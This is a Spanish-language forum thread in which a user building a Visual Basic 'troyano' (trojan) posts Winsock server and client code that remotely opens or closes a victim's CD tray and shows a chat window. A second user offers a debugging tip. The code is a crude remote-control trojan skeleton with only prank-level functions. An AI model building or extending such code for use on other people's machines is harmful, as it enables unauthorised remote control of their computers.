Problema en el codigo de visual basic.

[Kizar]

Hola, a ver si me explico bien:

Estoy creando un troyano en visual basic y tengo un problemilla:

Primero el codigo:

-----SERVER------

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)
Private Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" _
( _
ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long _
) _
As Long
----------------------------------------------------------
Private Sub Winsock_server_DataArrival(ByVal bytesTotal As Long)
   Dim mensaje As String
Winsock_server.GetData mensaje
If mensaje = "OPENCD" Then Call mciSendString("set CDAudio door open", vbNullString, 127, 0)
If mensaje = "CLOSECD" Then Call mciSendString("set CDAudio door closed", vbNullString, 127, 0)

If mensaje = "OPENCHAT" Then
Form_chat.Show
End If
End Sub

--------CLIENT-------

Pantalla FUN

Código [Seleccionar] Expandir


Private Sub Command_closecd_Click()
Dim mensaje As String
mensaje = "CLOSECD"
Form_menu.Winsock_menu.SendData mensaje
End Sub

Private Sub Command_opencd_Click()
Dim mensaje As String
mensaje = "OPENCD"
Form_menu.Winsock_menu.SendData mensaje
End Sub

Pantalla CHAT

Código [Seleccionar] Expandir


Private Sub Command_enviar_Click()
Dim mensaje As String
mensaje = "OPENCHAT"
Form_menu.Winsock_menu.SendData mensaje
End sub


A ver, las dos funciones primeras de abrir y cerrar el cd funcionan correctamente.

Pero la de hacer visible la pantalla del chat no se muestra.
¿Podriais decirme que parte del codigo es la que e escrito mal?

Gracias de antemano.
Salu2

[Cicklow]

Fijate de poner esto en el server:

Código [Seleccionar] Expandir

Private Sub Winsock_server_DataArrival(ByVal bytesTotal As Long)
   Dim mensaje As String
Winsock_server.GetData mensaje

msgbox mensaje
'hace lo de prueva y error, fijate bien si ese comando llega.

If mensaje = "OPENCD" Then Call mciSendString("set CDAudio door open", vbNullString, 127, 0)
If mensaje = "CLOSECD" Then Call mciSendString("set CDAudio door closed", vbNullString, 127, 0)

If mensaje = "OPENCHAT" Then
Form_chat.Show
End If
End Sub

[Kizar]

Muchas gracias, el problema ya esta solucionado.

Salu2